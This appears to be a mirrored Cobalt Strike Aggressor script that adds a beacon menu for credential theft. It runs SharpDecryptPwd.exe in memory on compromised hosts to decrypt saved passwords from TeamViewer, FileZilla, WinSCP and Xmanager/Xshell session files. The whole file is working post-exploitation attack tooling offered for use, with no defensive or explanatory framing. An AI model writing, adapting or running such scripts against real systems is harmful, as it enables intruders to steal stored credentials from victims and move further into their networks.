mirror of
https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts
synced 2026-06-08 17:50:44 +00:00
35 lines
1.1 KiB
Plaintext
35 lines
1.1 KiB
Plaintext
sub SharpDecryptPwd {
|
|
|
|
bexecute_assembly($bid, script_resource("modules/SharpDecryptPwd.exe"), $3['type']);
|
|
|
|
}
|
|
sub DecryptXShell {
|
|
$arg = join(' ', @($3['type'],"-p",$3['path']));
|
|
bexecute_assembly($bid, script_resource("modules/SharpDecryptPwd.exe"), $arg);
|
|
}
|
|
|
|
popup beacon_bottom {
|
|
menu "DecryptPwd" {
|
|
|
|
item "DecryptPwd" {
|
|
$bid = $1['@'];
|
|
$dialog = dialog("SharpDecryptPwd", %(type => "-WinSCP",bid => $bid), &SharpDecryptPwd);
|
|
drow_combobox($dialog, "type", "Type:", @("-TeamViewer", "-FileZilla", "-WinSCP"));
|
|
dbutton_action($dialog, "Chong!!!");
|
|
dialog_show($dialog);
|
|
}
|
|
item "DecryptXShell" {
|
|
$bid = $1['@'];
|
|
$dialog = dialog("DecryptXShell", %(type => "-Xmangager",path => "D:\\xshell\\Xshell\\Sessions",bid => $bid), &DecryptXShell);
|
|
dialog_description($dialog, "DecryptXShell");
|
|
drow_combobox($dialog, "type", "Type:", @("-Xmangager"));
|
|
drow_text($dialog, "path", "Sessions Path: ");
|
|
dbutton_action($dialog, "Chong!!!");
|
|
dialog_show($dialog);
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
|